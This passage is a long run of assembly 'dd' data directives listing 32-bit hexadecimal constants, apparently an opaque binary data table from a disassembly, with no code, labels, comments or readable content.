dd 0BC0EFA86h, 2E713CFEh, 6A5F806Ch, 391A6DCEh, 921EEF13h
dd 2913A44Bh, 1914D17Fh, 0F9BF1940h, 783D9B58h, 0F0007499h
dd 76072635h, 0CB6C7DC2h, 2969F1F0h, 82641763h, 0C500CAB5h
dd 4EB92B9Bh, 88D48F07h, 0E8F5C116h, 6D213098h, 0D6A075Bh
dd 0B3001B23h, 27962158h, 0B6EFE2BBh, 0C3029801h, 0C12CB52Bh
dd 0F24F6D1Bh, 0B204FA6Fh, 0B8CD504Ah, 311A2D64h, 6010A8EEh
dd 5D658D29h, 75986121h, 4498A75Bh, 0D5BA6017h, 0BE0E0166h
dd 27A5546h, 3851EE2Bh, 0E0181879h, 0B5F2D01Ch, 1B09E88Ch
dd 2BA3001Eh, 0E03B352Fh, 604F7E9Dh, 0BE8BAD8Ch, 5E6142F8h
dd 2B114CDBh, 18A26553h, 6536130h, 0E9BFF455h, 0A1811B29h
dd 8B463471h, 8D9BC04Ah, 54F2C980h, 3F5BD16Ch, 859B7F52h
dd 0BB519280h, 0F117723Dh, 0F012F219h, 8BE4E8A5h, 285B5D31h
dd 8B144FBCh, 8B856F9h, 3B23619Dh, 16C18D08h, 0B7C262A7h
dd 4B2CAC1Dh, 48929C47h, 19E2AAE3h, 41BA230h, 31B021EAh
dd 1FF9E8h, 8483CCC8h, 0FCDB5248h, 81A800ABh, 606ED8D7h
dd 0C9905E35h, 0CE1EE927h, 0A4BE05D3h, 9925C58Fh, 301C344Dh
dd 0D79D144Fh, 0F8A82E6Dh, 35453B00h, 2F20D759h, 0E0821FBFh
dd 0A690926Fh, 3D3FE019h, 1283722Eh, 0E25CE829h, 1EF3002Eh
dd 63B314B0h, 8321B191h, 358DD79Ch, 81403DD0h, 0A574043Ah
dd 0C0256D85h, 15C4DD67h, 8D096009h, 126DD095h, 4939BD01h
dd 320161A1h, 20D6B460h, 0D20B534h, 0E04A8828h, 0D5860ED9h
dd 0DE21F1DAh, 60849313h, 0DD5F8DB7h, 0DF817740h, 774534DBh
dd 0D11A910Ah, 3F231817h, 72C897BCh, 58192910h, 5B700BCAh
dd 33E090E8h, 0E3B60031h, 9EEA1618h, 0AA02A83Fh, 952948D9h
dd 49F5569Dh, 5E52F7F2h, 3114E248h, 802A68E3h, 0DDC97E71h
dd 12E8F606h, 88FA8B46h, 4378F269h, 7E27A30Eh, 2E303A7h
dd 0E505D033h, 7C790B5Dh, 0F05EFBDh, 0B3B0271Dh, 0FD8CFFF7h
dd 0A2B8FDh, 26E484CFh, 40AA2950h, 0BD4A7474h, 0C3A70AD5h
dd 16D6C6A0h, 0C2F92801h, 0E88F4296h, 743E3Dh, 524EF65Dh
dd 9CD725D1h, 2C707700h, 68FE5045h, 0EADE0281h, 5F3996A8h
dd 0ACA6D9D9h, 18AF3ADEh, 0B6507198h, 8B951D9Dh, 30D946E9h
dd 0C63507E8h, 6670EF60h, 0B82A682Eh, 8B6A4A60h, 0C4A80389h
dd 465B27F6h, 0FEF7B3F8h, 678CC512h, 81095BF0h, 0ED98C65Fh
dd 16077643h, 9C2F5C88h, 0E104802Eh, 5EE903Dh, 0BDEB6C86h
dd 0FB6FB0F4h, 524C5071h, 4DC4C078h, 4832C59Ch, 645092C2h
dd 0F82700BEh, 0F5F79E3h, 58255A31h, 9DD3790h, 0E8042986h
dd 4F4CA87Dh, 3E87AA9Eh, 168D20F5h, 8517B015h, 0C3052C65h
dd 2D032E81h, 0AAF1D4BEh, 0DAC08175h, 0BFF41427h, 31743B4Ch
dd 90F709DBh, 67BE5A78h, 37B9FA67h, 8F398201h, 81692AFCh
dd 81E624F5h, 715E600h, 0BD0908ABh, 0DC2A4F8Dh, 0B52E2960h
dd 19ADEE75h, 0DE983181h, 53D33112h, 0B70F5613h, 5FA307C5h
dd 59680351h, 0FD60E4E3h, 9531FE38h, 0DA014AB1h, 27855843h
dd 648A6701h, 4773601Dh, 53AF0102h, 0C0939CBh, 0DE7E60D9h
dd 8B94F903h, 11297D9Dh, 5A1D8DF7h, 50530535h, 769DFBD2h
dd 14467CD1h, 90DFD24h, 6BC42815h, 7C2D8379h, 56DC1226h
dd 0DEDD2E69h, 0BDF56700h, 8CEDC9EEh, 51E9378Fh, 0B0B5621h
dd 85562400h, 3886B28Bh, 0F56E17EFh, 8AC11AEEh, 8B85E379h
dd 0EB2381B5h, 0AD17592Ch
dd 0D8304E71h, 1800FD76h, 0D40AA620h, 3D2D08B6h, 6F01324Bh
dd 83306511h, 0C2334961h, 70BF6620h, 0C88D53EEh, 86058C4Ch
dd 0A745CB72h, 0E2F852C9h, 0F142301Ch, 34AD490Fh, 7D47E48Dh
dd 0CB3CF6B1h, 426E5Eh, 51D5F790h, 7C1134h, 60521E15h
dd 0E18ABEB2h, 0BD053294h, 0F7A62AFDh, 0D814722Dh, 1BC46B85h
dd 2EBAFC60h, 0E05C205h, 0CC0EA488h, 2C0B288Dh, 6D5600F1h
dd 90610135h, 50F78B05h, 0D5A65E53h, 6E6030F1h, 0F9DD9E20h
dd 0F27B2Dh, 0B4249CB6h, 0DA0A84B5h, 0B310B000h, 0DE9610Fh
dd 0AF3DB504h, 221E9500h, 0B50593h, 0F0F9966Bh, 108D8529h
dd 0D420B081h, 5352D9Dh, 0B75CD71Ah, 46EA00D4h, 0F282BF99h
dd 2B0934F3h, 0DA087DB5h, 8525FB3h, 5F12165Eh, 93F35A0Fh
dd 93F6A1C5h, 7DF31E0h, 3969E909h, 7EBDE40Fh, 0C009F68Bh
dd 1B94D60Fh, 0C099754h, 0E27F298Fh, 0DE5DD6A0h, 0F682A14Fh
dd 8D0F0201h, 0CB042189h, 7ABBF1F0h, 1900886Eh, 0DDA27B97h
dd 12246B11h, 2D084964h, 0D82B0914h, 0FA70A25Bh, 157E41h
dd 88381987h, 0DCD403BEh, 40506926h, 9310C160h, 74A900F3h
dd 351E5E40h, 5B05F1E4h, 0AA0EA38h, 420BF7A1h, 0B2C01A88h
dd 27209A1Bh, 0F6051C8h, 4D505FEFh, 3A9DFF9Bh, 50AE5B6Bh
dd 700B73DAh, 489D708h, 0F9490136h, 1194D26Eh, 918800D4h
dd 0B5332F1Ah, 89800805h, 0BF14ABDh, 381DB00Ch, 9801891h
dd 99CB7383h, 721EC4A6h, 3A40378Ah, 343C93EBh, 1DD01D2h
dd 39C0A36Dh, 66D42020h, 0A122BE12h, 0E8A0AF14h, 4A008C1Ch
dd 82E8BF80h, 0F1E2F908h, 0D216746Dh, 23A23E01h, 7BB4071Ah
dd 2D0B61E9h, 3F1253Ch, 0CD2DFF8h, 175191DBh, 20127118h
dd 0C304D979h, 0AFFC0F69h, 0A0ABB6D3h, 142D8FD0h, 0A907AEB8h
dd 58015413h, 29B96010h, 40AF12B5h, 9945C5Ah, 2159BD0Bh
dd 0AA6DCA32h, 80790960h, 0CD740BD4h, 0B0D0EFFDh, 56089D20h
dd 1F08F58h, 0EA5BD191h, 1FED9A4Dh, 9B2DBF21h, 0E696525Ah
dd 88C8F0C9h, 691704AEh, 0E2A5AC8Fh, 0CB491EDAh, 0F12DFE80h
dd 0D09C22h, 0BF061A7Eh, 55A6575Bh, 8B2FABB6h, 9B8B4983h
dd 21169773h, 108BC91Eh, 2DB1592Dh, 0FBBE7A01h, 3BEC2CA9h
dd 77B2CDEBh, 0D3805522h, 522E7A64h, 0EFC8125Fh, 5B3DEC04h
dd 1A1824A8h, 8FD70A7Bh, 4D2BED2Dh, 8FB7E0D0h, 150BE72Ah
dd 6C4F0CD7h, 0E90A4445h, 0EF88284Eh, 5EF109B7h, 2B54C08Bh
dd 0BAA861DCh, 6D3E86F6h, 29DB5A24h, 9E80368Eh, 49742016h
dd 4185C71Ch, 0B132E20h, 8B091ECAh, 77130EDDh, 0CE8147ECh
dd 780906FBh, 0C282CAh, 9585010Eh, 90B69F13h, 0B73C2A45h
dd 256ED7h, 667C2C59h, 2C3ECDC7h, 5227D995h, 0FED4A556h
dd 556B0962h, 3E536A5Ch, 29E9103Bh, 0F3BF094Bh, 25582D02h
dd 0A85DD6C1h, 712CB8F7h, 467C681Eh, 0D1AD0916h, 0BE81186Eh
dd 8F33000Eh, 0FAEC5DD6h, 0C109A416h, 0B7FB8B28h, 0F9848041h
dd 640941A6h, 4AD2DB12h, 0BEEE2B03h, 7595D146h, 30F1834h
dd 0B531FEBFh, 132E1715h, 8940B08Eh, 962D219Dh, 117C4ACAh
dd 0B9BF0205h, 5379151Fh, 5BFA719Ah, 2064C19Fh, 3BC760B2h
dd 0C402EAD4h, 0BF18D8Bh, 0E8595703h, 0B0CEEDB8h, 0E3885D7Ah
dd 0F18A8F9Eh, 38D5DC99h, 6B6E5F6Bh, 1838007Fh, 0E0C92B55h
dd 0F94B395Bh, 610A88h, 0C2E6C3BFh, 550F28Dh, 0BE40941Bh
dd 1D51C97Ah, 68F8E901h, 7BF02DAh, 60213245h, 81126D96h
dd 0F0FE2660h, 3B973AFDh, 3828B962h, 0BCF1B6F0h, 0AB171CCEh
dd 333582Dh, 0EAEE2C01h, 0DE812086h, 9EBD8C0h, 298D2139h
dd 99CD3762h, 0DFB1FBE0h, 4CD76587h, 6650F181h, 68F4F081h
dd 0DD3700AEh, 2F44A154h, 0A204DEBBh, 8589752Dh, 1D44E189h
dd 0BC895B11h, 0CF6300F1h, 69592F1Fh, 852A8B50h, 5B07F0A9h
dd 0F01E183h, 0CD9F41A5h, 0F1C7DA80h, 0BC002554h, 1606931h
dd 9E1DFD9Dh, 0F717C135h, 0CCBBFD52h, 2000453Ch, 0DEC2F1CDh
dd 341EA03Eh, 25F461C7h, 0B8DDEDAFh, 276CA9CBh, 7E7B6Fh
dd 0D5A8F051h, 0EC81C50Ch, 952905BBh, 3A60617Fh, 41623FDh
dd 0AE658BE6h, 7A342935h, 0BE8011ECh, 743F1A81h, 0E1B58913h
dd 3C049B85h, 0C8132801h, 14005E0Bh, 0B8473971h, 313DF268h
dd 0B12CD0A3h, 0B078272Ah, 6AEEC11h, 0BD897193h, 0CF824D21h
dd 0AD374209h, 958B1782h, 212E5E61h, 0E32A93D5h, 3018E27Ch
dd 0FE04A05Eh, 0FA8AB738h, 21677AB8h, 14B6CD8Bh, 8B6FAB87h
dd 0EADE5601h, 3074DA96h, 21537982h, 0D3242560h, 41AFD9D8h
dd 2D11A1F5h, 2732512Ch, 79A4F88h, 96369B82h, 0D07A0642h
dd 566495h, 0B619FD3Fh, 78C72B3Bh, 606A9107h, 32AC6C63h
dd 71284C75h, 2C8C15F8h, 180D326h, 16731E9Eh, 0CA42498Bh
dd 63997E20h, 3B4929B7h, 547AE8A5h, 2C381546h, 93890F93h
dd 7C68F8C4h, 2F6FFCEh, 172CFAE2h, 91C28B67h, 0E4FFC988h
dd 0E9574E1Fh, 0F18E6A8Ah, 0CEA700CAh, 12FD0EA0h, 902B5600h
dd 48D0B60Ch, 88C8F92Eh, 0FA45E35Ah, 0ABB874B9h, 9666ED01h
dd 0F3D5898Eh, 6E4F1D23h, 0DEB200E1h, 6F19A4EEh, 89E612C8h
dd 0B50B12FDh, 0B8B67DF6h, 0AB96009Dh, 0CFCC3466h, 54D7208Eh
dd 68D4FD50h, 0CE4AD60h, 15B53342h, 91D9356h, 1A5B1D97h
dd 7A424E36h, 291002B3h, 0A4FC686Ah, 0B445023Bh, 0F6CB168Bh
dd 0CEF2E0A6h, 0E96A1845h, 342D1908h, 0AD730D03h, 31073306h
dd 0C7D71DBEh, 0D6592D85h, 37E0A5A6h, 2C093F02h, 4D6155AAh
dd 78F0C321h, 80864A80h, 0AAE69B0Bh, 0EB3560D7h, 9D611607h
dd 0A96224E9h, 79B8EAh, 307C16C2h, 0AE0522D0h, 0F0E1CA56h
dd 43E7FD5h, 0B19D8957h, 41AE721h, 284DB531h, 603815B9h
dd 81665380h, 5EA0AEC6h, 64880F27h, 0FBBB17EEh, 0C0460B37h
dd 60C2D86Dh, 0FF46DAh, 5740C2Eh, 3E94CBC0h, 68151E00h
dd 0D29C04E9h, 32BD5B55h, 0CDCF81Dh, 10158D04h, 12097506h
dd 74889570h, 53503119h, 8238B8A2h, 658589BDh, 9F02560Eh
dd 0A0129215h, 58565BFCh, 87172022h, 0B5A3BD20h, 0F83725h
dd 9A5FECD0h, 4B09B3DCh, 7E52A808h, 3B0F40B1h, 0A3016AD2h
dd 0B9B20417h, 30365EF3h, 0A2E03BF2h, 0F97DEA23h, 90F28628h
dd 2FE0049Dh, 0F444E804h, 0CB65BF93h, 0E9421F2h, 0A1B8DBE9h
dd 0B491BA0Bh, 1D4558E0h, 0AC601971h, 0B95300E2h, 0E6ED47Fh
dd 0E861590Ch, 5A897F05h, 0FC9ED395h, 42C58625h, 0C02CEDCCh
dd 80BFD5ADh, 0E826F173h, 37A51FD2h, 5E25004Fh, 0D16AB829h
dd 531A2D18h, 821211A0h, 9F477CDCh, 81F10AB0h, 3CF6004Bh
dd 9E612909h, 4405A0E4h, 89E25E7Ch, 0B0BF9887h, 0F18B5903h
dd 0A11282E8h, 0E522870Fh, 40C37C60h, 4914D6E4h, 0C6054A00h
dd 8B587E11h, 86D2095h, 0ED926167h, 0CB8A03D8h, 554B58E8h
dd 831EE4F0h, 59B9262Ch, 0C05696FCh, 23E86A02h, 3EAD6BD3h
dd 0B50137BCh, 70EC3325h, 0A693AE0Bh, 0ED28842Dh, 28FB8CBh
dd 95296D2h, 0D2844257h, 0F97ED5D1h, 0A033B86Bh, 8412E5A3h
dd 380CD70h, 0D39D5BB5h, 664B9E57h, 38CEC29Bh, 1FB5D180h
dd 9C1A65F5h, 426CD67Dh, 0F49AFE8Ch, 0C84E4C00h, 0F0BCAE1Fh
dd 4BE835EDh, 6E7BBCA7h, 4D845362h, 0C8B9D6ADh, 0D45A77E0h
dd 5807950Ch, 17E833CAh, 6410F569h, 33122ED5h, 0C577D48Dh
dd 2560FA0h, 85719E92h, 3AE86D91h, 0AB73E383h, 54E8B5CBh
dd 0DF009CBFh, 0EB4DAD58h
dd 629181Ch, 8BAEF3A2h, 512D98CFh, 70FBD1Fh, 0E047BCF3h
dd 3CB052E9h, 9BE87F13h, 77635C86h, 1C064895h, 0F91B2585h
dd 37DE8ECh, 4207F29Ah, 5C10DB56h, 0E8092AD5h, 167C0560h
dd 0E84695F4h, 85746075h, 0B109A1B6h, 0A530A20Fh, 0E8FC000Eh
dd 4F9D0529h, 807D4004h, 501DFC28h, 0D44A5DBEh, 8505F32Ch
dd 76B408A1h, 0F5E82CF9h, 0A37AFC5h, 8F8A7A00h, 0F23A6CC7h
dd 21E390E4h, 651A1D05h, 0C6B7776Fh, 8D17A200h, 0B5A4BF5h
dd 0E801C180h, 1BD128Bh, 0A0FD530Eh, 118962C7h, 0CD1A2D7Fh
dd 85CA9EA0h, 0B5108B47h, 61310CA9h, 1121090Eh, 993D820Fh
dd 9E39B902h, 0DDA443DAh, 8D010204h, 0B0ACC935h, 0DC2CD4C2h
dd 28A8CD02h, 0DA810FABh, 0B96002A1h, 67E7C819h, 1FD9B383h
dd 0E2FC9725h, 0DC62542Eh, 0E97AB600h, 57B10326h, 5B957B09h
dd 56F1CA0Ah, 8EE0B779h, 1E9BE327h, 6D8BF8FBh, 4EC5134Dh
dd 708ECEFCh, 0E7344F23h, 0A4F0C59Bh, 0FC04431Ch, 9991199Eh
dd 0B47269ACh, 62598056h, 727DE0DBh, 1DD5315Eh, 7194C8h
dd 20DBA241h, 0AE34B883h, 0C05C0B00h, 4509F078h, 9759716Bh
dd 0D65F7588h, 0D7F3754Ah, 1B97085Eh, 0CE043A28h, 8A0FF61Dh
dd 16842C89h, 0ACC9D8E9h, 0CEBF076Dh, 52216050h, 31E45CB4h
dd 4FBA0566h, 0EC585A77h, 0A156C0BDh, 5993B6h, 0AB5F83D5h
dd 3C086FD9h, 80976171h, 77E6816Ah, 635425C1h, 0DAFF1B66h
dd 5B4F5D44h, 3DE49921h, 93E41F0h, 0B5958D21h, 0F35B83C2h
dd 0F8C21271h, 135D7859h, 887281E6h, 7C009556h, 1363D5B9h
dd 4A89FF86h, 80959B1Ah, 21A1FBF6h, 976200BDh, 8D2B249Ah
dd 0EDC12FE1h, 8B0F0442h, 1FCCC4Dh, 0E6258311h, 0D7BC70A1h
dd 0E7EBB682h, 0E80E7DC1h, 0D25B6E40h, 0B58E04CAh, 0E8E575A6h
dd 61592F07h, 4C561AAAh, 2285218Ch, 0B02DAD3Dh, 0C575C1h
dd 385D4AF1h, 0E3F6688Ch, 66ACD860h, 0D302B1BEh, 84A5DB4Bh
dd 18BB9125h, 1057E91h, 0AA955281h, 44648CE1h, 0E01EA61Ah
dd 6D09778h, 7E19B5A3h, 0B7BDADA1h, 1A4B0923h, 2E14E476h
dd 0B0B58E98h, 35BD147Ch, 0AC92E40Eh, 0A7A645A2h, 0E28D4D74h
dd 87E6D252h, 0B4735E00h, 9EA2824Ah, 920900E7h, 0C80AE239h
dd 290AF53Bh, 0E5E95485h, 0EC85DDBFh, 90272775h, 8300F864h
dd 8C1043Ch, 49E523CEh, 8EEC57ABh, 668AB702h, 0A5BEBABFh
dd 0D3ACFC8Fh, 8D583F80h, 7F009880h, 3AE8C79Bh, 3B6A6D4h
dd 3571D8FAh, 0E41040EDh, 1CF82D49h, 8ED4938Ch, 8DEBE6C0h
dd 0E0B5A056h, 0DB86A1DBh, 0E40B782Dh, 0D8B112C6h, 62848ABh
dd 0D396E0D2h, 69C65B67h, 0C0A2560Bh, 0C9DF939Ch, 0B4F46C38h
dd 77B68CFCh, 8621A8E0h, 5DE6C0B5h, 80FD0973h, 0FF181DD1h
dd 7FDE0729h, 0AC9E01D3h, 0B65D5080h, 2F099B27h, 70693FE5h
dd 0DE1ABCA2h, 25A20148h, 6AB70461h, 3CDF6FAEh, 1A66004Dh
dd 0C18146DEh, 0A0DD1A3Eh, 37754E25h, 3EEF01F8h, 60D055C7h
dd 2316C899h, 0D2C9E9BDh, 5DF05526h, 2906112Bh, 3A6A9359h
dd 9BCF595Ch, 7C732E24h, 7E011D46h, 0FD835327h, 94A9D0B5h
dd 819BF47Bh, 97467578h, 1D2197E0h, 63DA2981h, 610C09DCh
dd 0E55BC58Ah, 8A20E579h, 256F240Ch, 0FF853C90h, 88E8603Bh
dd 5F00B59Ch, 0B4BCD2EDh, 201E281h, 5E43496Dh, 7BEC8E0Fh
dd 93DD21FEh, 0FAB6C0D3h, 0AFACB9E0h, 567A5D5Bh, 88132D10h
dd 2084D67Ch, 56291D5Bh, 9EA0F676h, 0D758D840h, 29A91057h
dd 0B8FC6015h, 6170B707h, 0C1B5C357h, 0A885F34Eh, 988D1BDh
dd 379AB080h, 13A480A9h, 0A2513Bh, 5F6317EAh, 0E797DE8Bh
dd 6019E4B1h, 3039DCFh, 6646D676h, 6A8A88BBh, 50BF091h
dd 33E47C8h, 1DA19FAAh, 0A58059E4h, 0ED5F5502h, 0E9C86E1Ch
dd 31A9830Bh, 97A3942Ch, 0F4E457D1h, 0A44E962h, 8D1E0066h
dd 0CC306876h, 0EE0A3B8Bh, 8385B361h, 0D242BD0Bh, 84FB5E16h
dd 406EBB92h, 0E989AA00h, 815773ABh, 6A68D300h, 605F4A55h
dd 4E857A03h, 0F96D4427h, 90610518h, 0FF8BFB0h, 8854DCBFh
dd 0E250D75Eh, 49017BA9h, 0DF72AB62h, 0CFC0E35Eh, 0EC2A25F2h
dd 2D3855E4h, 8081B807h, 0E0FD647Bh, 1E8A44Fh, 0BE397F1h
dd 6D905F73h, 2AB801h, 8B46BCE4h, 9C57D05h, 15209DEAh
dd 95E84A31h, 95E9A79h, 5C6A5FF9h, 7724DE39h, 8B0D1838h
dd 53F42DAh, 0EC45A091h, 0D316D827h, 8DD1386Ch, 0A626C5DEh
dd 48D0F7A2h, 2CA2E72h, 4F4BC92h, 0B3FCD1FFh, 4477D040h
dd 0A61400B5h, 0B2605376h, 7504489Dh, 5B34ECD7h, 22556981h
dd 90C8304h, 0D61E0D5Fh, 0D8BB5B65h, 921494DFh, 778A1296h
dd 0C8026A28h, 0D2B5AAB5h, 5065D3CBh, 0CA00311Fh, 5B85AABh
dd 146EBC4Ch, 0B795C780h, 2F75B673h, 8804AC37h, 0F6A81DF2h
dd 0DD3E4D7h, 20E396BDh, 379742C7h, 35FC0226h, 9384F88Ah
dd 0B6F580D8h, 9BE1399h, 0A0D40C61h, 0DE54C8h, 5DFA7D98h
dd 0DDFC58A8h, 656D9B00h, 0F3812344h, 0E460337Bh, 502690E8h
dd 1A0B6150h, 789DF3DCh, 35249783h, 0E7095D33h, 0FFDC0745h
dd 0FE49829Ah, 6B254067h, 2076D26h, 77229A4Dh, 0D065F170h
dd 0CFEA0D01h, 0DC4783BCh, 64115FBDh, 0B14A2589h, 0EA84FBC9h
dd 5FA6FE74h, 0F5232AE0h, 29B5890Ch, 0B4FF4919h, 7F00DCFFh
dd 0D3F585C0h, 9E0892BEh, 0EA5D40ACh, 68000D93h, 0ED217F1h
dd 0E4FE4C5Fh, 98500E4Fh, 45A2BF2Fh, 825D1475h, 29282186h
dd 0F77AD88h, 9501595h, 0F40132E9h, 22A58879h, 5111B019h
dd 18C033ADh, 814133BFh, 0D20EE072h, 53E10C02h, 6FFA1032h
dd 85070148h, 97F59D89h, 0C8B6C0C0h, 34169ABFh, 8588739Eh
dd 4046B460h, 8C0CC17h, 51780700h, 70D90241h, 17BA787Eh
dd 0AF5760Ah, 8019C176h, 0EB71F636h, 250031C0h, 1FD00377h
dd 2D1AE926h, 5F093517h, 0E06B8522h, 0BB81C7DCh, 0C82B4A10h
dd 3A381863h, 9425FC00h, 0E5A94220h, 0C7EAC900h, 0EEF5841h
dd 0D18B05D2h, 0F14D9589h, 871D2CABh, 0F81E9D2Bh, 27FAB7EDh
dd 0EDAB858Bh, 11352782h, 0F2096103h, 818DA9C5h, 0FE8B07AFh
dd 884F0AB8h, 65029E21h, 3B632BB7h, 61AD8AD0h, 33F70049h
dd 346D198Dh, 0BF174FE9h, 0EDBD2420h, 6B3C0038h, 0D49E51DFh
dd 0D0B7F7Ah, 21635A1Ch, 5B61C6AEh, 0BFEA333Ah, 3487FD8h
dd 84A2A297h, 0B9A62A21h, 0A528D5BFh, 0DFE4819h, 89F9AF0Bh
dd 849F6444h, 415B2340h, 9BB5A187h, 523730DAh, 6A5BF516h
dd 0E8F0E4F6h, 4D656156h, 0B2ACFBC8h, 2205F4D0h, 8565C71Eh
dd 972FDB6h, 7A07B3B9h, 83F57924h, 0FFCE809h, 0B5AC4680h
dd 0EDED006Bh, 39B857h, 5B83F19Ch, 9529DEF2h, 6A55Eh, 0F6B4C02Bh
dd 9E2AE1BAh, 35C0C036h, 2E942076h, 650FDh, 0AD0FFFBFh
dd 0D160C233h, 0E983D050h, 0F4750F04h, 0D847BA60h, 15F08CADh
dd 48A5988Ah, 8AD700B3h, 99F704FAh, 0B01427Ah, 0C8DEC450h
dd 6E3B618Fh, 83C4006Bh, 7A625EFCh, 0A2264BFDh, 0A8860129h
dd 0E5DD4E9Bh, 0D3880DC4h, 0E319F619h, 0D4F7E09Ah, 2C0D040Eh
dd 94F5958Bh, 2DF2C8h, 39EF1924h, 70A865h, 8C3C4B17h, 593F954Ch
dd 96DDD904h, 8B818FEBh, 0A3722319h, 0BBDBCB07h, 0E1C2C750h
dd 0BCC10318h, 0B6AB7408h, 0B7581925h, 965C0003h, 9F875774h
dd 0F5B79Fh, 111D3C4Ah, 775CB72Bh, 1E2910B0h, 806DA04Ah
dd 601AE487h, 13E5FF8Bh, 446F01CFh, 9348D76h, 0C1F01AB8h
dd 0A4674E28h, 255DAB2h, 21C9DDCh, 77BE1FFh, 7FF0A70h
dd 17EFF72Ah, 0A48B21B0h, 191210Fh, 0C22C18Dh, 0F7034E4Dh
dd 9EE0A7D6h, 59953199h, 3142985Dh, 37450120h, 36DB2540h
dd 0FC12A4F8h, 0EF86100Fh, 85310E02h, 4A4D71Dh, 601F40EDh
dd 729C36B1h, 41AAE040h, 5E82C725h, 0A679C5FDh, 50D5E010h
dd 10F8002Eh, 0D2CE4960h, 0B9208D01h, 0E180262Ah, 0FBBF0319h
dd 0D037C90Ah, 3EA041BBh, 0B074DDF4h, 0B721E276h, 0CD4209CFh
dd 2495FE31h, 0D11CE1h, 85336C05h, 87A411FDh, 0FB1CB12Dh
dd 450937Bh, 0A1EC467Eh, 61FB20F2h, 0FA8B46A8h, 0BC026804h
dd 0B4F2EDD3h, 0B5F87900h, 500897E0h, 81605B71h, 4B47FD40h
dd 0F0EE9D12h, 4405D527h, 0C26D18F5h, 0E9FA8A13h, 28D28D90h
dd 68B826ADh, 0BE464907h, 73647FAFh, 0A0F20BBh, 0DC024FA8h
dd 8B3D5CD6h, 85D9C0F9h, 9B7ED265h, 35B8C03Ah, 9BF795Eh
dd 223AE6EBh, 722D72A1h, 2B18C1C7h, 9BC9B5DEh, 7A7933E4h
dd 82E10300h, 0DA105207h, 0BE8CBFAEh, 0BD2989C1h, 8505F0E5h
dd 60AB0E25h, 1837834Fh, 15FB7A00h, 39A92E03h, 1EFECCFh
dd 1E81DA85h, 2F0689F6h, 9512C36Eh, 2F5E29B0h, 0CA814BDAh
dd 20BB3F27h, 4BDDE50Ch, 5404468Bh, 44539820h, 0F272434h
dd 0CB0EAE81h, 9D3C9887h, 0FF3040A5h, 2EF1B552h, 9908A7F8h
dd 4E80832h, 1F03FF87h, 181B6007h, 411C2A9h, 9D17B2E2h
dd 0E97F21Bh, 0E0EEB9D7h, 19532515h, 177A003Ch, 615E4895h
dd 50E69EB0h, 8BD2B31Bh, 0F8BA3BE3h, 0CB85A6E5h, 0C9390017h
dd 4A6FEBB6h, 0F441394Bh, 60AE3B83h, 88E44007h, 1905B7F7h
dd 0ED9D0958h, 918DB6A0h, 5BE3AF9Fh, 715009ACh, 0FCB00032h
dd 0A86DC4F5h, 0F229C801h, 8E922F4h, 0C43BA611h, 86E27B3Eh
dd 0FE5F9724h, 0D7588AA7h, 202FACC8h, 68BB6176h, 52E3094Ah
dd 0C19A85C7h, 3D78E2E4h, 9751CA0h, 5920E999h, 18531A9Ah
dd 2E0910DBh, 2AD3895Fh, 7540F520h, 7AAD005Fh, 50DA8A3Eh
dd 11700C30h, 61954473h, 4CEB1017h, 4C3F000Eh, 20580317h
dd 36EBE7DCh, 43E036DDh, 63E19E64h, 2934501Bh, 180C2128h
dd 0D0011358h, 0D2991B57h, 0CB6E2EC0h, 2C87F328h, 528309C5h
dd 7D857160h, 0A70B0441h, 38CD703Eh, 0E2B7FAECh, 0F12A0B30h
dd 28410F7Bh, 0FDD15AE0h, 809B3CBh, 2B88D80h, 0DC2FA510h
dd 0B100F437h, 0BF5680EBh, 5F9C5AFEh, 0A492B131h, 98C05F82h
dd 729D882h, 0CFEECB62h, 0FA58F0F0h, 2B046AEAh, 0C71C25F4h
dd 4FA1ABBh, 1145F682h, 34455AD2h, 9EDB510Fh, 4B4A4E48h
dd 8B935751h, 4B48409h, 1DA70E13h, 25952538h, 8EE931D3h
dd 395873B8h, 741415C9h, 0D7FD938Bh, 7D0A4AB8h, 0B29026A4h
dd 0A9D18509h, 987C39B0h, 5787377Fh, 6E348225h, 0B484878h
dd 636DA0CCh, 0A6F012Bh, 86896153h, 837EC2C4h, 0D80D00F4h
dd 940BE6DAh, 0FC17C4FEh, 0D3A4E809h, 0DEC90091h, 1E3BDB7Bh
dd 0FC014FC8h, 0AF97AD6Ah, 0B629890Fh, 7BF25Bh, 0F0C331B6h
dd 88D96Ah, 0CE791F89h, 0DFAAFE82h, 51038601h, 5F5BF33Ah
dd 0A1D5752Ch, 524CC7BCh, 835B0FF7h, 0E404F2C2h, 890006D9h
dd 61BF2050h, 27165F13h, 0D7C2DF02h, 0CCB7FD13h, 83B40A80h
dd 11ACD66Ch, 2E0BE8C2h, 0F6017DB2h, 0DB42AA63h, 682897C0h
dd 11D17A60h, 0B52909B8h, 0F3922FF1h, 886F97C9h, 8D2729DCh
dd 63B90949h, 59D2125Bh, 4183290Fh, 90E117Dh, 8100E669h
dd 4B1BDEC3h, 0F2E9605h, 6041698Ch, 8D6E62B2h, 3E9D31B2h
dd 0FF96AEC2h, 270410B7h, 0C3922BC5h, 0C7B7FE1Ch, 8861D00Dh
dd 8000E621h, 9C518D3Bh, 14D74FA9h, 683053C6h, 3EF93093h
dd 487E5D5Ah, 89333000h, 8B5C4480h, 4190972Bh, 0C10039D3h
dd 679E226Bh, 0CD4D8h, 0ABE2E03Ah, 8BED8EF2h, 85F0DA4Ah
dd 0DE164A2Dh, 0A0988FCFh, 9CE5BA9Dh, 0D0E80BFDh, 50FF50Ah
dd 221013E4h, 337D126h, 969578DBh, 0E06ABBB0h, 80F2504Bh
dd 8DDFF700h, 5BE270ADh, 3898B300h, 320ACC81h, 6F964D41h
dd 4BF80829h, 6CC07ECDh, 0B39ADh, 8444E861h, 1D9509BBh
dd 0D58D31B9h, 0ACF36D19h, 6E5B75FCh, 35C50000h, 0C85101D9h
dd 604B0128h, 0A6D78052h, 0CE332059h, 76696155h, 6C93F059h
dd 0E69C5F06h, 0ECE70F37h, 0C821EDF1h, 8A2916CDh, 0DD25C6E8h
dd 8901C0EDh, 4202810Fh, 0BB2063F2h, 4CE757C3h, 0C527EC3Eh
dd 76D63162h, 34904DCh, 0B062D9Dh, 0D1E2FBC6h, 807228CCh
dd 0AF8FE2DCh, 6C341846h, 294C52B1h, 0E834E00h, 0C7D98B1Eh
dd 2A251485h, 6594A410h, 1C48A3Bh, 3655B52Eh, 0F3F0E983h
dd 0D4DB8CFFh, 0C18B19C0h, 0A21DF6BFh, 756C2ABDh, 0C6658F1Dh
dd 3AE69D5Dh, 8B609009h, 3D4859F7h, 48F9E53Eh, 2302CE55h
